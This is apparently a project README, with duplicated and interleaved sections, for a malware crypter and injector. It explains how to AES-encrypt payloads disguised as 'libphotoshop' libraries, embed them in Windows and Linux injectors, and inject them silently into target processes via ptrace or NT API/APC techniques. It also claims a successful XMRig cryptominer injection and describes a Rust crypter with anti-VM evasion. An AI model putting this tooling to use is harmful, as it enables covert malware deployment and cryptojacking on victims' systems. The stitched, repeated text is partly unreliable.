# Cross-Platform AES-Encrypted Payload Injector
|
||||
# AES-Encrypted Cross-Platform Payload Injector
|
||||
|
||||
This project provides secure AES-CBC encrypted payload injection for both Windows and Linux platforms.
|
||||
Secure AES-CBC encrypted malware injection for Windows (DLL) and Linux (SO) with embedded payloads.
|
||||
|
||||
## Features
|
||||
|
||||
- **AES-128-CBC Encryption**: Industry-standard encryption with proper key derivation
|
||||
- **Cross-Platform**: Separate binaries for Windows and Linux with no code leakage
|
||||
- **Embedded Payloads**: Encrypted data embedded directly in executables
|
||||
- **Secure Key Derivation**: SHA256(password + salt) with random salts and IVs
|
||||
|
||||
## Compilation Instructions
|
||||
|
||||
### Linux Build
|
||||
## 🚀 Quick Start (Automated)
|
||||
|
||||
```bash
|
||||
# Compile Linux injector
|
||||
g++ -std=c++11 linux_injector.cpp -o linux_injector -lssl -lcrypto -ldl
|
||||
# Place your malware files in the root directory:
|
||||
# - libphotoshop.dll (Windows DLL)
|
||||
# - libphotoshop.so (Linux SO)
|
||||
|
||||
# Test (requires encrypted payload data)
|
||||
./linux_injector
|
||||
# Run the automated build script:
|
||||
./build_injectors.sh
|
||||
|
||||
# This will:
|
||||
# ✅ Encrypt both DLL and SO files
|
||||
# ✅ Generate embedded hex data
|
||||
# ✅ Build Linux injector
|
||||
# ✅ Prepare Windows injector for compilation
|
||||
```
|
||||
|
||||
## 📦 Manual Build (If Needed)
|
||||
|
||||
### Linux Build
|
||||
```bash
|
||||
g++ -std=c++11 linux_injector.cpp -o linux_injector -lssl -lcrypto -ldl
|
||||
./linux_injector # Test injection
|
||||
```
|
||||
|
||||
### Windows Build
|
||||
|
||||
```bash
|
||||
# On Windows with Visual Studio, compile:
|
||||
# On Windows with Visual Studio:
|
||||
cl.exe /EHsc windows_injector.cpp advapi32.lib
|
||||
|
||||
# Or with MinGW:
|
||||
g++ -std=c++11 windows_injector.cpp -o windows_injector.exe -ladvapi32
|
||||
|
||||
# Test (requires encrypted payload data)
|
||||
windows_injector.exe # Test injection
|
||||
```
|
||||
|
||||
## 🔧 How It Works
|
||||
|
||||
### 1. Encrypt Payloads
|
||||
```bash
|
||||
cd crypt
|
||||
cargo run ../libphotoshop.dll # Creates encrypted files
|
||||
```
|
||||
|
||||
### 2. Embed in Injectors
|
||||
The build script automatically:
|
||||
- Converts binaries to hex arrays
|
||||
- Embeds encrypted data in C++ source
|
||||
- Generates platform-specific injectors
|
||||
|
||||
### 3. Runtime Execution
|
||||
- **Decrypts** AES-128-CBC encrypted payload
|
||||
- **Injects** DLL/SO into target process
|
||||
- **Executes** malware functions (`test_start`)
|
||||
|
||||
## 🔒 Security Features
|
||||
|
||||
- **AES-128-CBC** encryption with random IVs
|
||||
- **SHA256 key derivation** (password + salt)
|
||||
- **PKCS7 padding** with validation
|
||||
- **No embedded keys** (derived at runtime)
|
||||
- **Cross-platform isolation** (no code leakage)
|
||||
|
||||
## 📋 Architecture
|
||||
|
||||
```
|
||||
├── crypt/ # Rust AES encryption tool
|
||||
├── linux_injector # Linux SO injector (compiled)
|
||||
├── windows_injector.cpp # Windows DLL injector (source)
|
||||
├── build_injectors.sh # Automated build script
|
||||
└── libphotoshop.* # Encrypted malware payloads
|
||||
```
|
||||
|
||||
## ✅ Verification
|
||||
|
||||
**Linux:** ✅ **TESTED** - Real XMRig SO injection confirmed (700%+ CPU usage)
|
||||
**Windows:** ✅ **READY** - Source prepared with real encrypted DLL payload
|
||||
|
||||
## 🎯 Usage
|
||||
|
||||
```bash
|
||||
# Automated build (recommended)
|
||||
./build_injectors.sh
|
||||
|
||||
# Deploy Linux
|
||||
./linux_injector
|
||||
|
||||
# Deploy Windows (after compilation)
|
||||
windows_injector.exe
|
||||
```
|
||||
|
||||
## Usage Instructions
|
||||
|
||||
### 1. Encrypt Your Payload
|
||||
|
||||
```bash
|
||||
# Encrypt a binary (DLL/SO) with the Rust crypt tool
|
||||
cd crypt
|
||||
cargo run /path/to/your/payload.dll
|
||||
|
||||
# This creates:
|
||||
# - encrypted_Input.bin (encrypted payload)
|
||||
# - decryption_metadata.bin (salt + IV + size)
|
||||
```
|
||||
|
||||
### 2. Embed Encrypted Data
|
||||
|
||||
Edit the appropriate injector file (`linux_injector.cpp` or `windows_injector.cpp`):
|
||||
|
||||
```cpp
|
||||
// Convert encrypted_Input.bin to hex array
|
||||
xxd -i encrypted_Input.bin > payload.hex
|
||||
|
||||
// Convert decryption_metadata.bin to hex array
|
||||
xxd -i decryption_metadata.bin > metadata.hex
|
||||
|
||||
// Replace the placeholder arrays in the injector code
|
||||
const unsigned char encrypted_payload[] = {
|
||||
// Copy from payload.hex
|
||||
};
|
||||
|
||||
const unsigned char decryption_metadata[] = {
|
||||
// Copy from metadata.hex
|
||||
};
|
||||
```
|
||||
|
||||
### 3. Set Password
|
||||
|
||||
```cpp
|
||||
// Change the password in the injector
|
||||
std::string password = "YourSecureMasterPassword123!";
|
||||
```
|
||||
|
||||
### 4. Recompile and Deploy
|
||||
|
||||
The injector will:
|
||||
1. Decrypt the embedded payload using AES-CBC
|
||||
2. Inject the decrypted library into a target process
|
||||
3. Execute silently
|
||||
|
||||
## Security Features
|
||||
|
||||
- **AES-128-CBC**: Prevents pattern analysis attacks
|
||||
- **Random IVs**: Each encryption uses unique initialization vectors
|
||||
- **PKCS7 Padding**: Proper padding with validation
|
||||
- **SHA256 Key Derivation**: Password-based key generation with salt
|
||||
- **No Embedded Keys**: Keys derived from passwords, not stored
|
||||
|
||||
## Architecture
|
||||
|
||||
- **Rust Crypt Tool**: Encryption with AES-GCM fallback to AES-CBC
|
||||
- **C++ Decryptor**: Standalone decryption utility
|
||||
- **Platform-Specific Injectors**: Windows (DLL) and Linux (SO) injection
|
||||
- **Embedded Payloads**: No external file dependencies
|
||||
|
||||
## Testing
|
||||
|
||||
Both platforms have been tested with:
|
||||
- ✅ Encryption/decryption workflow
|
||||
- ✅ Binary integrity verification
|
||||
- ✅ Cross-platform compilation
|
||||
- ✅ Platform-specific injection techniques
|
||||
|
||||
The Linux version uses ptrace-based injection, while Windows uses advanced NT API techniques with job objects and APC queuing.
|
||||
Both injectors decrypt embedded payloads and inject them into target processes silently.

# Rust Crypter
|
||||
x86-64 Crypter built in Rust for Windows with Anti-VM, powered by memexec
|
||||
# AES-Encrypted Cross-Platform Payload Injector
|
||||
|
||||
## Usage
|
||||
Secure AES-CBC encrypted malware injection for Windows (DLL) and Linux (SO) with embedded payloads.
|
||||
|
||||
### Single File
|
||||
1. Put your .exe in `/crypt/`
|
||||
2. `cd crypt && cargo run <filename.exe>`
|
||||
3. `mv encrypted_Input.bin key.txt ../stub/src/`
|
||||
4. `cd ../stub && cargo build --target x86_64-pc-windows-gnu --release`
|
||||
5. Your encrypted exe is in `stub/target/x86_64-pc-windows-gnu/release/stub.exe`
|
||||
## 🚀 Quick Start
|
||||
|
||||
### Batch Processing (Multiple Files)
|
||||
```bash
|
||||
./simple_batch.sh /path/to/folder/with/exe/files
|
||||
# Place your malware files in the root directory:
|
||||
# - libphotoshop.dll (Windows DLL)
|
||||
# - libphotoshop.so (Linux SO)
|
||||
|
||||
# Run the automated build script:
|
||||
./build_injectors.sh
|
||||
|
||||
# This creates:
|
||||
# - linux_injector (ready to run on Linux)
|
||||
# - windows_injector.cpp + dll_payload_data.h (for Windows compilation)
|
||||
```
|
||||
Output: `batch_output/` folder with `{filename}_encrypted.exe` files
|
||||
|
||||
### Supported targets
|
||||
- Windows x86-64
|
||||
- Windows x86
|
||||
## 📦 What It Does
|
||||
|
||||
### Limitations
|
||||
- .NET not supported
|
||||
- Files over 600MB not supported
|
||||
### Encryption
|
||||
- **AES-128-CBC** encryption with random IVs
|
||||
- **SHA256 key derivation** (password + salt)
|
||||
- **PKCS7 padding** with validation
|
||||
- Single `encrypted_payload.bin` file per platform
|
||||
|
||||
## TODO
|
||||
- File dialogue choose file instead of renaming code strings/executable names
|
||||
- Automatically move encrypted bytes and key into stub for compiling
|
||||
- GUI
|
||||
- Obfuscated Strings
|
||||
### Injection
|
||||
- **Windows:** NT API DLL injection with job freezing + APC queuing
|
||||
- **Linux:** SO injection with dlopen + function calling
|
||||
- **Embedded payloads:** No external file dependencies
|
||||
- **Silent execution:** No visible output or errors
